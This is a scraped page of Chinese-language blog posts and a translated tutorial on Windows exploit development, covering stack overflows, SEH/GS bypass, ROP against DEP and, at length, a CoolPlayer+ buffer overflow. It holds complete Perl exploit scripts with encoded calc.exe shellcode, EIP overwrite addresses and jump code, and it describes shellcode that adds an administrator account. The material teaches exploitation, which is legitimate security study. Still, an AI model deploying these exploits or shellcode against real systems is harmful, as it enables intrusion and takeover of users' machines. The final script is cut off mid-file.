    [1] Bypassing Browser Memory Protections-Setting back browser security by 10 years. Alexander Sotirov, Mark Dowd. 2008.

    [2] The info leak era on software exploitation. Fermin J. Serna. 2012.

    [3] ASLR Bypass Apocalypse in Recent Zero-Day Exploits. Xiaobo Chen. 2013.

    [4] Heap Feng Shui in JavaScript. Alexander Sotirov. 2007

    [5] ROP (Return Oriented Programming) . Neil Sikka. 2014.

    [6] Subverting without EIP. MALLOCAT. 2014

    [7] APT 高级漏洞利用技术. yuange. 2014

     

    转载于:https://www.cnblogs.com/Danny-Wei/p/3766337.html

    展开全文
  • Windows 漏洞利用开发

    2019-09-28 13:04:46
    第一阶段:简单栈溢出 分析栈溢出原理 ...编写漏洞利用脚本,自动化攻击 第二阶段:利用SEH绕过GS保护 了解GS编译选项,SHE异常处理机制 分析利用SHE异常处理机制绕过GS的原理 寻找溢出...

     

    阶段:简单栈溢出

    1. 分析栈溢出原理
    2. 寻找溢出点,了解pattern_createpattern_offset计算溢出点的原理
    3. 寻找JMP ESP跳板,分析利用JMP ESP跳板劫持程序流的原理
    4. 编写漏洞利用脚本,自动化攻击

     

    阶段:利用SEH绕过GS保护

    1. 了解GS编译选项,SHE异常处理机制
    2. 分析利用SHE异常处理机制绕过GS的原理
    3. 寻找溢出点
    4. 寻找PPR,解释为何利用PPR
    5. 编写漏洞利用脚本,自动化攻击

     

    阶段:利用ROP绕过DEP保护

    1. 了解DEP保护
    2. 理解构造ROP链从而绕过DEP的原理,重点理解利用VirtualProtect
    3. 计算偏移量
    4. 利用mona创建ROP链
    5. 编写漏洞利用脚本,自动化攻击

     

    第四阶段:

    1. 对关闭了DEPvulnserver.exe进行攻击
    2. 对开启了DEPbofserver.exe进行攻

     

    阶段:简单栈溢出攻击

     

    1. 分析栈溢出原理

     

     

     

     

    压栈时由高地址到低地址。调用函数时先从右到左传递参数,然后保存返回地址,然后保存EBP,然后为局部变量保存空间。局部变量低地址开始填充,如果不做边界检查,就有可能向上覆盖掉返回地址,函数返回时就会跳转到覆盖的地址,从而实现劫持。

     

    简单测试

    修改启动脚本,关闭DEP   AlwaysOff

     

    bof-serverXpLQ目录下,方便在shell操作。

    执行,开启端口1000

     

     

    Ipconfig查看服务器ip 192.168.67.133

     

     

    Kali连接,输入1024Abof

    Apython产生

     

     

    可见现在offset41414141

     

     

    2.确定溢出点位置

     

    生成字符序列确定溢出点位置。

     

    首先msfconsole

     

    利用metasploit-framework 生成有序序列用来确定溢出位置、

     

     

    Offset72413372

     

     

    计算偏移量 520   (72413372是ascii码,转换成字母后再刚刚的有序序列排到的就是520位)

    3.寻找jmp esp 跳板

    windows,用Immunity DebuggerAttach bof-server。用mona查看。

    Mona为如下目录下的python file

    !Mona modules 查看server加载了哪些模块

    采用ws2_32.dll

    dll复制到kali,用msfbinscan查找jmp esp指令的地址  0x71a22b53

    4.自动化攻击

    编写脚本

    Rb文件不能直接pastekali桌面,手动拖到home文件夹

    Exploit

    将脚本paste到指定目录下

    复制完文件后reload,因为路径改变了,但是它还是原来的缓存

     

     

    执行脚本

     

    注意set rport

    成功

     

    阶段:利用SEH绕过GS保护

    1. 了解GS编译选项,SHE异常处理机制

    GS编译选项:

    1.1堆栈的变化


    GS编译选项的原理就是在堆栈上插入一个安全cookie,以测试堆栈上的返回地址是否被修改过。安全cookie为4个字节,在堆栈上的位置如下。
    调用参数
    返回地址
    EBP上层函数堆栈基址
    安全cookie
    异常处理代码入口地址
    (如果函数设置异常处理)
    局部变量

           那么,如果是堆栈的局部变量发生缓存溢出的错误而导致返回地址被覆盖的话,由于安全cookie所在的位置,它也一定会被覆盖。
     

    1.2函数的入口和出口代码

    GS编译选项,对函数的入口和出口代码都添加了针对安全cookie操作的指令。

    test函数的入口指令:

    GSTest1!test:
     
    00401020 55               push    ebp           ;保存上层函数堆栈基址
    00401021 8bec             mov     ebp,esp       ;设置当前函数堆栈基址
    00401023 83ec10           sub     esp,0x10
    00401026 a130704000       mov     eax,[GSTest1!__security_cookie (00407030)]
    0040102b 8945fc           mov     [ebp-0x4],eax
     
    首先,堆栈的空间分配从0x0c变化为0x10,是因为需要多分配4字节的安全cookie。增加的另外两条指令是为了将GSTest1!__security_cookie的值放入堆栈的安全cookie的指定位置。

    这时候的堆栈结构如下:

    0:000> dd esp
    0013fec0  0013fee0 004013e8 0013fed0 6a915791 
    0013fed0  0013fee4 00401016 0000000a 004050ec
     
    0x6a915791就是安全cookie,它存放在返回地址0x00401016前。

    test函数的出口指令则变为:

    0040103d 83c40c           add     esp,0xc
    00401040 33c0             xor     eax,eax
    00401042 8b4dfc           mov     ecx,[ebp-0x4]
    00401045 e85b010000       call    GSTest1!__security_check_cookie (004011a5)
    0040104a 8be5             mov     esp,ebp
    0040104c 5d               pop     ebp
    0040104d c3               ret
     
    也增加了两条指令。首先将堆栈上的安全cookie的值放入ecx,然后调用__security_check_cookie函数来检查其值是否被修改过。

    如果一旦发现安全cookie的值被改动,那么就会转入异常处理,终止程序运行。这样,即使存在缓存溢出的错误,GS选项也能阻止恶意代码通过覆盖函数的返回地址这种攻击方式。

    SHE异常处理机制:

    2. 分析利用SHE异常处理机制绕过GS的原理

    seh通常利用的是pop pop ret 一旦进入异常处理,就会把Pointer to next SEH的这个地址压入栈中进行系统处理,通过pop pop然后这个地址ret到我们的eip中,因为Pointer to Next..是可控的所以我们控制这个地址来控制eip,然后就是可以通过mona来找pop pop ret 来覆盖Se handler。

    3. 寻找溢出点

    生成溢出字符序列:

    生成的文件在Home

     

    vim编辑C.Txt16进制观察,删除多余的0x0aA

     

    增加文件头HEAD

     

    结果:

     

     

     

     

    SEH

     

    启动EFSWImmunity Debugger attach

     

    注意要在运行态

     

    Kali链接,发送溢出的字符串

     

     

     

     

     

    也可以采用python脚本发送

    注意buffpattern_create.rb生成的序列

     

     

     

    View SEHchain

     

     

    计算偏移量

    4.寻找PPR,解释为何利用PPR

    为什么要用PPR?

    POP POP RET是创建SEH(Structured Exception Handler,结构化异常处理程序)漏洞所需的指令序列。弹出值所对应的寄存器对于攻击成功不重要,重要的是ESP向更高地址移动两次,然后执行RET。因此,POP EAX,POP EBX,RET或POP ECX,POP ECX,RET或POP EDX,POP EAX,RET(等等)都可以。每次发生POP <寄存器>时,ESP向较高地址移动一个位置(对于32位架构来说是4字节)。每次发生RET时,地址ESP中的内容被放入EIP中执行(ESP也会移动,但这在这里不重要)。为了创建成功的SEH漏洞,必须找到POP POP RET序列的地址使攻击者两次将ESP移向更高地址,然后在ESP指向的地址处执行指令。

    缓冲区溢出之前,内存看起来像这样。

    缓冲区驻留在低于00 00 60 40的地址中。攻击者将溢出缓冲区,以便适当地设置堆栈。 另外,请注意带有POP POP RET指令序列的模块驻留在存储器的另一部分中。缓冲区溢出之后,内存看起来像这样。

    攻击者已经把shellcode放置在从00 00 60 48开始的地方,还修改了下一个SEH记录的地址,以包含6字节跳转到shellcode的操作码(EB 06是汇编指令JMP 06的操作码)。 并且,攻击者也改变了SEH Handler的地址以指向POP POP RET指令序列。现在将引发异常,然后内存看起来像这样。

    因为系统试图处理引发的异常,它会在堆栈上设置EXCEPTION_DISPOSITION Handler结构体。此结构体的Establisher Frame指针指向第一个handler的记录。第一个handler的记录从00 00 60 40开始,包含下一个SEH记录的地址和SEH handler的地址。系统以这样的方式设置堆栈:ESP指向EXCEPTION_DISPOSITION结构体的开始,这里是00 00 50 00。从该图中,很容易理解攻击者对POP POP RET指令序列的需求。缓冲区溢出后,将引发异常,因此程序从SEH handler的地址开始执行。缓冲区溢出将SEH handler的地址设置为POP POP RET序列的地址,在我们的示例中为10 20 30 40。因此,程序从地址10 20 30 40处开始执行。
    第一个POP执行前,ESP指向00 00 50 00。
    第一个POP执行后,ESP指向00 00 50 04。
    第二个POP执行后,ESP指向00 00 50 08。
    RET执行后,EIP指向00 00 60 40,它们是地址00 00 50 08 ESP指向的内容。所以,程序在00 00 60 40继续执行。程序执行指令EB 06,这是到00 00 60 48的6字节跳转,也就是shellcode的开始。很明显,如果攻击者可以用任何希望的值覆盖SEH handler,可以直接用shellcode的地址覆盖它。但是由于SafeSEH保护措施,这是不可能的,所以SEH handler被指向POP POP RET序列。
    https://dkalemis.wordpress.com/2010/10/27/the-need-for-a-pop-pop-ret-instruction-sequence/

    寻找POP POP RET

     

    Mona modules 找到服务器加载的模块

    !mona seh 找到Imageload.dll

    kali找到PPR

     

    5.编写漏洞利用脚本,自动化攻击

     

    注意offset采用的是下一条SEH记录偏移量

    阶段:利用ROP绕过DEP保护

    1. 了解DEP保护

    DEP - 数据执行保护的缩写,Data Execution Prevention 他是一套软硬件技术,能够在内存上执行额外检查以帮助防止在系统上运行恶意代码。其基本原理是将数据所在内存页标识为不可执行,当程序溢出成功转入shellcode时,程序会尝试在数据页面上执行指令,此时CPU就会抛出异常,而不是去执行恶意指令。如图所示

    效果;

    2.理解构造ROP链从而绕过DEP的原理,重点理解利用VirtualProtect

     

    如果函数返回地址并不直接指向数据段,而是指向一个已存在的系统函数的入口地址,由于系统函数所在的页面权限是可执行的,这样就不会触发DEP

    也就是说,可以在代码区找到替代指令实现shellcode的功能

    但是可供利用的替代指令往往有限,无法完整的实现shellcode的功能

    于是产生了一个折中方法:通过替代指令关闭DEP,再转入执行shellcode

     

    ROP技术前提:

    • 小部件(gadget):内存中一个个以ret为结尾的指令序列(非常形象),我们像捡破烂一样收集它们。
    • ret指令:ret指令实际上相当于pop EIP,也就是将EIP设置为栈顶(esp指向)的值,也就是跳转到栈顶的值所指向的地址。

    ROP,Retrun-oriented Programmming(面向返回的编程),技术原理:
    将一个个小部件在栈上进行有序的排列,每个小部件末尾的ret指令会使这些小部件依次得到执行。

     

    VirtualProtect 
    Win32API

    BOOL VirtualProtect{ 

    LPVOID lpAddress, 

    DWORD dwsize, 

    DWORD flNewProtect, 

    PDWORD lpflOldProtect 

    }

    lpAddress:内存起始地址 

    dwsize:内存区域大小 

    flNewProtect:内存属性,PAGE_EXECUTE_READWRITE(0x40) 

    lpflOldProtect:内存原始属性保存地址

    通过VirtualProtect绕过DEP:

    在内存中查找替代指令,填入合适的参数,调用VirtualProtect将shellcode的内存属性设置为可读可写可执行,然后跳到shellcode继续执行

     

     

    3.计算偏移量

    对象vulnserver.exe

    查看源码漏洞

    首先

    Attach后再kali构造溢出字符串,发送到server,计算偏移量

    构造方法:

    'TRUN .' + make_nops(target['Offset'])

    选项Pattern_create -l 3000

    之后过程与阶段二类似,不再赘述

     

    脚本

    与第二阶段类似,只是修改了send的内容 //10000>3000,故用10000个字符也可以

    发送。注意xp在启动了DEP保护的情况下发送。

    结果

     

     

    结果:  偏移2006

    4.利用mona创建ROP链

    开启监听

    Immunity debugger attach

    点击run

    生成rop_chains.txt

    5.编写漏洞利用脚本,自动化攻击

    修改offset

    修改rop

    攻击:

     

     

    第四阶段:练习

    1. 对关闭了DEPvulnserver.exe进行攻击

    1.1 确定偏移量

    2006

     

    1.2 寻找jmp esp跳板

    利用msvcrt.dll

    1.3自动化攻击

    参考阶段一代码和阶段三代码,观察payloadexploit的区别。对offsetret,以及exploit部分都做了修改

    2.对开启了DEPbofserver.exe进行攻

    2.1 计算偏移量

    520

    2.2 构建ROP

    2.3自动化攻击

    参考阶段一阶段三代码,修改了offset,去掉了offset,修改了exploit

    遇到的问题:

    测试后发现是因为msfconsole前先改变了metasploit-framework文件夹下的文件。解决办法是开启msfconsole后,再添加,然后reload_all

    转载于:https://www.cnblogs.com/lqerio/p/10994561.html

    展开全文
  • 点击即可阅读:Windows漏洞利用开发 - 第1部分:基础知识Windows漏洞利用开发 - 第2部分:栈溢出简介Windows漏洞利用开发 - 第3部分:偏移更改和重定位模块概观在第2和第3部分中,我们构建并改进了ASX To MP3转换器...

    206c35ca40bdc05ba041cf819c8b0c5c.png

    点击即可阅读:

    Windows漏洞利用开发 - 第1部分:基础知识

    Windows漏洞利用开发 - 第2部分:栈溢出简介

    Windows漏洞利用开发 - 第3部分:偏移更改和重定位模块

    概观

    在第2和第3部分中,我们构建并改进了ASX To MP3转换器的一个漏洞利用。尽管它存在缺陷,但就漏洞而言,它非常简单直接—— 直接利用指向我们shellcode的寄存器从而直接跳转到EIP覆盖。事情并不总是那么容易。通常你必须做更多的工作来让应用程序执行到你的shellcode。在本系列的这一部分中,我们将研究如何在漏洞利用中使用跳转代码。具体来说,我们将看看如何操作寄存器和栈,并使用条件/无条件跳转来构造自定义跳转代码,以便成功实现和执行shellcode。

    跳转到Shellcode

    在我们的第一个例子中,我们很幸运,因为我们有一个寄存器(EBX)直接指向我们shellcode的一个不间断部分,这意味着我们只需要一个调用/ jmp指令来执行它。如果一个寄存器只指向我们的缓冲区中shellcode的一小部分,会发生什么?或者,如果指向点接近,但不完全在我们的缓冲区?或者,如果没有寄存器指向我们的shellcode,但是我们在堆栈上看到了一个地址。在这些情况下,除了迄今为止我们使用的标准调用/ jmp指令外,我们还有几个选项。当涉及到跳转代码时,我喜欢在以下方面考虑可用的选项:

    • 操作寄存器

    通过添加/减去寄存器并跳转到修改后的地址(add/ sub [reg] + jmp)

    通过查找跳转到寄存器偏移量的指令(jmpreg+ offset)

    • 操作堆栈

    通过将我们选择的地址推入堆栈并发出返回(push +ret)

    通过从堆栈中弹出一系列地址并发出返回(pop+ret或popad +ret)

    • 使用无条件和有条件跳转跳转到shellcode

    我们仔细看看......

    操作寄存器

    1.add [reg] + jmp

    当你运气不佳,虽然寄存器直接指向缓冲区的一部分,它也可能不是允许立即执行shellcode的位置。但是,您可能会增加/减少寄存器中的地址,然后强制应用程序跳转到该地址。

    为了说明这个技巧,我将介绍另一个基于m3u的漏洞攻击,这次是CoolPlayer + v2.19.4(本文写作时的最新版本)。您可以从Exploit-DB下载此应用以及已发布的漏洞利用版本:

    http : //www.exploit-db.com/exploits/29613/http%20:%20%20%20

    将应用程序安装在C:中,以便您可以跟随本教程的其余部分。

    首先,漏洞利用实际上取决于生成的m3u文件的位置,就像我们之前的ASX To MP3播放器示例一样。

    其次,为了使漏洞工作,CoolPlayer + 可执行文件必须从安装它的目录运行。这意味着如果您想调试此漏洞(我们将会),您必须先启动Immunity Debugger,再双击位于C: CoolPlayer + Portable 中的CoolPlayer.exe),然后用Immunity附加CoolPlayer进程。在初始运行之后,您可以简单地使用Ctrl + F2在调试器中重新启动应用程序。一旦你安装了应用程序,创建一个只包含Metasploit模式的m3u文件。您可以使用以下任一选项:

    Kali:/usr/share/metasploit-framework/tools/pattern_create.rb 10000> msfpattern.m3u

    Mona:!mona pc 10000(将结果输出复制到m3u文件中)。

    我们将改进已发布的漏洞利用,因此我们从头开始。首先启动CoolPlayer并将Immunity Debugger附加到正在运行的进程。

    3a0e53782dace56186040e2ab49f6bb8.png

    接下来,将包含Metasploit模式的m3u文件放置在C:中,并使用CoolPlayer打开它,此时应用程序应该会崩溃,您应该在Immunity中看到与以下内容类似的内容:

    d165b5a354850a02c87f3b29e310dda7.png

    注意EDX和EBX如何指向Metasploit模式的开始。ESP也指向模式的一部分,但不是开始。我们用mona来确定偏移量:

    b327acddb298fd2efdc290027944fc67.png

    Mona告诉我们,EIP覆盖发生在偏移量260处(请记住,从第2部分可以看出,这是我定制的mona版本,因此您不会看到列出的其他偏移量)。它还证实EBX和EDX都指向我们的Metasploit模式缓冲区的开始,但EBX包含更长,不间断的部分(10,000字节与512字节)。ESP指向缓冲区的相当小的一部分。实际上,如果您在转储窗口中查看ESP,则可以确切地看到它在248个字节中被中断的位置。

    c5ae445cd479e427f3573b6d1b6e5a72.png

    根据这些信息,我们希望使用EBX作为我们的目标寄存器。让我们开始通过验证对EIP的成功控制来构建我们的漏洞。

    d86df936065699ac0a44b2a480084498.png

    将生成的m3u文件放置在C:中,在Immunity(Ctrl + F2)中重新启动CoolPlayer +并打开m3u文件。

    f3954f994b22871cc42c61db43cdba17.png

    现在我们已经验证了对EIP的控制,我们可以查找jmp/call EBX指令,以便我们可以重定向到我们的shellcode。再次,我们可以使用mona来做到这一点。

    !mona find -type instr -s "call ebx"

    如果您引用由mona创建的生成的find.txt文件,您将看到只有一个应用程序模块具有可行的指令。不幸的是,所有关联的地址都包含空字节。重复搜索“jmp ebx”会得到相同的结果,因此我们不得不使用OS模块。我将从kernel32.dll中选择一个地址:0x7c810395。我们现在有我们的“call ebx”地址,但EBX指向我们缓冲区的开始,而不是我们的shellcode。

    请记住,由于这是一个直接的EIP覆盖,我们的漏洞缓冲区将被构建为类似于以下内容:

    JUNK(抵消EIP)+ EIP + NOPS + SHELLCODE + FILL。

    这意味着,如果我们保持原样,“call ebx”将跳回到我们缓冲区的开始处,变为$ junk而不是直接传给我们的shellcode。对于这种寄存器指向缓冲区开始的场景,理想的解决方案是在EIP覆盖之前简单地将SHELLCODE部分移动到开始位置。这里的问题是我们抵消EIP只有260个字符。当然,我们使用的calc.exe shellcode只有不到260个字符,但如果你想要做的不仅仅是打开计算器,会发生什么?

    我们可以使用我们的“CALL EBX”指令跳转到缓冲区的开头,然后使用另一个自定义跳转代码序列来跳过我们的EIP覆盖并进入我们的NOPS和shellcode,而不是将自己限制在shellcode的一个小空间中。这个自定义跳转代码实际上会通过将所需数量的字节添加到其值来操作EBX寄存器,然后直接跳转到该更新的地址。

    cb10ec1f4a6c6024e5e4003c83e72040.png

    让我们用CALL EBX指令更新我们的exploit脚本,然后在缓冲区的一开始放置一些中断,以确认我们可以成功地达到我们的自定义跳转代码。

    45751604c34a215ff3bce036ae30ec15.png

    将m3u文件放在C:并在CoolPlayer中打开:

    b8ab9682a59032381b1e0d8bdb6fdacb.png

    我们已成功重定向到缓冲区的开始处。现在我们需要用一些跳转代码启动缓冲区。我们的跳转代码将执行以下操作:

    将X添加到EBX,然后跳转到调整后的EBX,其中X =我们要跳转的字节数。我们应该添加多少X?

    我们需要考虑260字节的偏移量和4字节的EIP。我们也想用NOPS作为目标,最好我们的跳转代码将会落在这个NOP底座的某个地方。由于在我们的EIP覆盖之后我们有足够的空间用于shellcode,因此让它以50 NOPS开头。考虑到用于覆盖EIP的四个字节,我们的NOP底座将占用我们缓冲区的字节265到315。因此,300的自定义跳转X可以跳到放在这个NOP内,并很好地流向后面的shellcode。所以,这个自定义跳转代码是什么样的?

    为此,我们可以转向另一个方便的Metasploit工具,称为metasm。在kali,你可以得到它如下:

    /usr/share/metasploit-framework/tools/metasm_shell.rb

    这会产生一个metasm shell,您可以在其中输入汇编指令,它将返回shellcode的相关操作码。由于我们想要添加300到EBX,让我们在metasm中输入相应的Assembly命令并查看结果:

    metasm > add ebx, 300
    "x81xc3x2cx01x00x00"
    结果操作码的问题是它包含NULL字节。为了避免这种情况,我们尝试一个更小的100:
    metasm > add ebx, 100
    "x83xc3x64"

    完美,没有空字节。为了使EBX增加300,我们只需要重复这个指令3次。在我们将EBX增加300之后,我们需要跳到它。使用metasm,获取jmp EBX的操作码如下:

    jmp ebx
    "xffxe3"
    我们的跳转代码如下所示:
    my $jmp = "x83xc3x64" x 3; # add 300 to ebx
    $jmp = $jmp . "xffxe3"; # jmp ebx

    让我们更新我们的漏洞利用脚本,以验证自定义跳转代码能够成功地将程序执行重定向到我们的shellcode。

    39161b910bd75f3152549aaa8000beb5.png

    参考上面的截图,你可以看到我已经添加了跳转代码。我还修改了$ junk,以便它能够解释$ jmp的长度,并最终得到EIP的正确偏移量(260)。我使用中断来代替实际的NOP,这样我们就可以准确地看到我们的自定义跳转代码在哪里。如果一切如预期的那样,我们应该在我们的INT指令内跳过超过我们跳转代码的300个字节。让我们来看看…...

    我们确切地落在了我们预期的地方。现在我们可以让NOP缓冲区变得更小,并且更接近EIP,但由于我们有空间可以玩,所以没有理由如此精确。让我们再次更新我们的漏洞利用脚本,用实际的NOP替换INT并插入一些shell代码(calc.exe)。

    #!/usr/bin/perl
    my $buffsize = 10000; # set consistent buffer size
    my $jmp = "x83xc3x64" x 3; # add 300 to ebx which will jump beyond eip overwrite and into nops/shellcode
    $jmp = $jmp . "xffxe3"; # jmp ebx
    my $junk = "x41" x (260 - length($jmp)); # fill remainder of start of buffer to eip overwrite at offset 260
    my $eip = pack('V',0x7c810395); # call ebx [kernel32.dll] which points to start of buffer and our jump code
    # no usable application module found
    my $nops = "xcc" x 50;
    # Calc.exe payload [size 227]
    # msfpayload windows/exec CMD=calc.exe R |
    # msfencode -e x86/shikata_ga_nai -t perl -c 1 -b 'x00x0ax0dxff'
    my $shell = "xdbxcfxb8x27x17x16x1fxd9x74x24xf4x5fx2bxc9" .
    "xb1x33x31x47x17x83xefxfcx03x60x04xf4xeax92" .
    "xc2x71x14x6ax13xe2x9cx8fx22x30xfaxc4x17x84" .
    "x88x88x9bx6fxdcx38x2fx1dxc9x4fx98xa8x2fx7e" .
    "x19x1dxf0x2cxd9x3fx8cx2ex0exe0xadxe1x43xe1" .
    "xeax1fxabxb3xa3x54x1ex24xc7x28xa3x45x07x27" .
    "x9bx3dx22xf7x68xf4x2dx27xc0x83x66xdfx6axcb" .
    "x56xdexbfx0fxaaxa9xb4xe4x58x28x1dx35xa0x1b" .
    "x61x9ax9fx94x6cxe2xd8x12x8fx91x12x61x32xa2" .
    "xe0x18xe8x27xf5xbax7bx9fxddx3bxafx46x95x37" .
    "x04x0cxf1x5bx9bxc1x89x67x10xe4x5dxeex62xc3" .
    "x79xabx31x6axdbx11x97x93x3bxfdx48x36x37xef" .
    "x9dx40x1ax65x63xc0x20xc0x63xdax2ax62x0cxeb" .
    "xa1xedx4bxf4x63x4axa3xbex2exfax2cx67xbbxbf" .
    "x30x98x11x83x4cx1bx90x7bxabx03xd1x7exf7x83" .
    "x09xf2x68x66x2exa1x89xa3x4dx24x1ax2fxbcxc3" .
    "x9axcaxc0";
    my $sploit = $jmp.$junk.$eip.$nops.$shell; # build sploit portion of buffer
    my $fill = "x43" x ($buffsize - (length($sploit))); # fill remainder of buffer for size consistency
    my $buffer = $sploit.$fill; # build final buffer
    # write the exploit buffer to file
    my $file = "coolplayer.m3u";
    open(FILE, ">$file");
    print FILE $buffer;
    close(FILE);
    print "Exploit file [" . $file . "] createdn";
    print "Buffer size: " . length($buffer) . "n";

    将产生的m3u文件放在C:中,然后尝试。

    04579cd7af7f8aad85254008c36e7cd4.png

    成功!!然而,这个漏洞利用仍然有限,因为它只有在从C:打开m3u文件时才有效。这里有一个小小的练习 - 看看你是否可以通过使它在多个保存位置(桌面,我的音乐等)工作来改善它,就像我们为ASX To MP3利用做的一样。下面列出了一个可能的解决方案

    CoolPlayer + Portable v2.19.4 BOF利用(点击文末“阅读原文”即可查获)

    2. sub [reg] + jmp

    你可能会面临一种情况,你宁愿减少它的价值,而不是增加注册价值。

    例如,在发生崩溃时,EBX仍然指向我们的缓冲区的开始处,但仅提供<100字节的不间断空间 - 没有足够的空间来托管shellcode,但有足够的空间用于某些基本跳转代码。这意味着我们可以使用EBX重定向到我们缓冲区的开始处,并执行一些针对另一个寄存器的跳转代码 - 在本例中为ESP。ESP指向我们缓冲区的一部分(从缓冲区开始总共约280字节)。

    问题是,在崩溃和EIP覆盖时,ESP指向缓冲区的中间而不是开始,并且没有调整ESP,我们没有足够的空间来托管我们的shellcode。为了解决这个问题,我们可以重新排列我们的缓冲区,以便将shellcode放在开始位置,以适当的值递减ESP并跳转到ESP以执行shellcode。让我们重新访问我们的CoolPlayer +漏洞并进行必要的调整。下面是崩溃时的堆栈(使用msf模式),因此您可以可视化查看我们为新缓冲区使用的空间。

    35a698a9e77bb12b9f0ece11e4b5d884.png

    我们需要将ESP减少约240个字节。再一次,使用metasm来获得相应的操作码:

    metasm > sub esp, 100
    "x83xecx64"
    metasm > sub esp, 40
    "x83xecx28"
    metasm > jmp esp
    "xffxe4"

    这是更新的Perl脚本:

    f06031bbacbe0591b8607fe72e0cade1.png

    请注意以下更改:

    跳转代码现在将ESP减少240

    Shellcode移动到缓冲区的开头(跳转代码之后)

    不再需要缓冲区的垃圾部分(NOP填充任何剩余空间以抵消260)

    您可以在执行时立即看到堆栈(为了演示目的,调用EBX INT指令来替换EBX)。

    cf765528d8f7e47c6c54a320d5957612.png

    这个空间足以让我们的calc shellcode很好地执行。

    878010d5c33fc62d54279e8e2458238a.png

    3. jmp [reg + offset]

    除了通过自定义跳转代码直接递增寄存器,您可以通过查找跳转到所需寄存器的现有指令加上其值的偏移量,让应用程序为您完成工作。我将以我们的CoolPlayer攻击为例,简单演示这种技术。比方说,EDX是唯一一个接近指向我们的缓冲区的寄存器,但不幸的是它指向一个大约距shellcode 50个字符之前的位置(这里不是这种情况,但我们将假装这个例子)。

    为了让我们使用EDX,我们需要增加至少50个字节来达到我们注入的代码。我们可以使用jmp [edx + X]指令(其中X代表大于50的数字)来完成此操作。例如,让我们搜索一个jmp [edx + 64] 指令。

    1adc5abb59d6cc039e04e35af69c4ca6.png

    31709833bbb80f5216971103ee8f0803.png

    以下是OS模块的一些结果的屏幕截图。

    7488b3ba597759225c17267dd13c75f9.png

    然后,您可以使用这些地址之一作为新的EIP覆盖。当然,你不限于64字节的增量 - 你可能需要更多或更少。您只受可用指令的限制,您可以在可用的DLL中找到这些指令。不幸的是,在这种情况下增加EDX会导致访问冲突,所以我找不到这个特定漏洞的可用地址(尽管我只尝试过一对)。无论如何,你应该牢记这一点,作为在未来的漏洞攻击中跳转到shellcode的可能方法。

    操作栈

    1.push [reg] + ret

    操作堆栈的第一种方法是最容易理解的,因为它与发出跳转或调用指令的概念相同。让我们重新审视我们利用CALL EBX进行EIP覆盖的漏洞利用的原始版本,但让我们假设我们找不到任何可用的JMP或CALL EBX指令。或者,我们可以搜索PUSH EBX + RET指令集。这将有效地将EBX推到栈顶,然后立即跳转到该地址。这次您将搜索“所有模块中的所有序列”以查找可用的推式ebx + ret指令。

    97974a6b2501c82ed2b3b6b2671e8c7c.png

    e4a28ae56580e73ed2651ecb5d6501e9.png

    这会返回一些可用的结果,包括我们将用于此示例的shell32.dll中的一个。

    36f767d7d6533ec0e0f2d7671d6a0a77.png

    如果你想验证这个地址实际上指向了一个push ebx + ret指令,只需双击它,你就会被带到Assembly指令窗口中的那个地址。

    70ee8d14da3b450cce1c066ab0985963.png

    您必须从原始漏洞利用脚本更新的唯一东西是$ eip的值。

    7ddb7f14339f9ac92f9fe3320dada6fb.png

    在CoolPlayer +中打开更新的m3u文件。

    cf0e41382134c3a09a485232af694745.png

    2.pop + ret

    有时你没有足够的幸运来拥有一个直接指向漏洞利用缓冲区任何部分的寄存器,但是如果出现下列情况,你可能会操纵堆栈将执行流重定向到你想要的位置:

    1.靠近堆栈顶部的地址指向您的缓冲区

    2.ESP + N指向缓冲区(其中N是通过当前ESP的字节数(4,8,12等))。

    让我们再次使用CoolPlayer +作为例子。为了模拟这种情况,我创建了以下漏洞利用脚本:

    3de1b26372f49c69e0c043fd5d62c17a.png

    当您在CoolPlayer +(从C:的根目录)中打开生成的m3u文件时,您应该在Immunity中看到以下内容:

    e7d5da1cce17bb6efed386e390a82f6b.png

    我所做的是用字母'J'模拟垃圾邮件字符,以说明我们的寄存器都没有指向任何立即有用的东西。看看ESP和当前的堆栈。您可以看到堆栈中的前三个条目包含垃圾,但紧接着是指向我们的缓冲区(7C86467B)的感兴趣的地址- 它实际上是JMP ESP我策略性地放置在这个位置以模拟我们期望的回报价值的指令。请记住,这里有两种可能的情况:

    1)地址已经存在于堆栈中,并且您需要将流重定向到它;

    2)ESP + X指向您的缓冲区,

    在这种情况下,您可以策略性地在您的地址缓冲区,所以当ESP + X被调用时,它会重定向到你选择的地址。如果我们可以指示程序发出pop pop pop,它会从堆栈中弹出前三个地址并执行下一个地址中的指令,将流程重定向到当前直接指向我们的NOPs / shellcode的ESP 。您可以使用Immunity来查找此弹出流行弹出式ret指令。为此,请重新启动CoolPlayer +(Ctrl + F2),按F9运行程序。

    06d3141232cac460cb663614d5384705.png

    在结果文本框中,您需要输入想要查找的pop pop pop指令序列。为了做到这一点,你需要知道使用哪些寄存器。当你只是在寻找一个单一的pop时,很容易(pop eax ret或pop ebx ret等),但是找到一系列可用的三个流行歌曲指令可能会带来一些猜测。某些序列比其他序列更倾向于使用,比如pop ebi,pop esi,pop ebx,但它们都依赖于加载的模块。

    a4941de7de9d5f57b50586aced8162ad.png

    一部分结果如下:

    b9665c1adc5a11a65c790af18164f08a.png

    我选择了第一个用作EIP覆盖的ntdll地址(0x7C924961)。如果双击该地址,则可以验证它是否确实指向我们所需的弹出式弹出式弹出式视频序列。

    让我们更新脚本,用这个地址替换我们当前的BBBB的EIP覆盖,然后重新运行漏洞来验证我们到达我们的shellcode占位符。

    9ccbbd70359332479c50570583f30d86.png

    nice。正如你所看到的,我们已经成功地使用了pop pop pop ret序列来访问我们的shellcode。现在我们只需要用一些实际的shellcode替换INT指令并确保它执行。因为我在这个例子中使用了ESP,所以我们限制了shellcode的空间量,所以我们不使用迄今为止使用的calc.exe shellcode,而是使用稍微小一点的代码:

    http: //www.exploit-db.com/exploits/15202/http:%20

    这个shellcode不是启动计算器,而是添加了一个管理员用户。我修改了原始的shellcode,分别将用户名和密码更改为r00t和pwnd。这是这个演示脚本的最终版本:

    #!/usr/bin/perl
    ###########################################################################################
    # Exploit Title: CoolPlayer+ Portable v2.19.4 - Local Buffer Overflow Shellcode Jump Demo
    # Date: 12-24-2013
    # Author: Mike Czumak (T_v3rn1x) -- @SecuritySift
    # Vulnerable Software: CoolPlayer+ Portable v2.19.4
    # Software Link: http://portableapps.com/apps/music_video/coolplayerp_portable
    # Tested On: Windows XP SP3
    # Based on original POC exploit: http://www.exploit-db.com/exploits/4839/
    # Details: Demo of jumping to shellcode via pop/ret sequence to stack address
    ###########################################################################################
    my $buffsize = 10000; # set consistent buffer size
    my $junk = "x4A" x 260; # simulate unusable address containing junk with 'J'
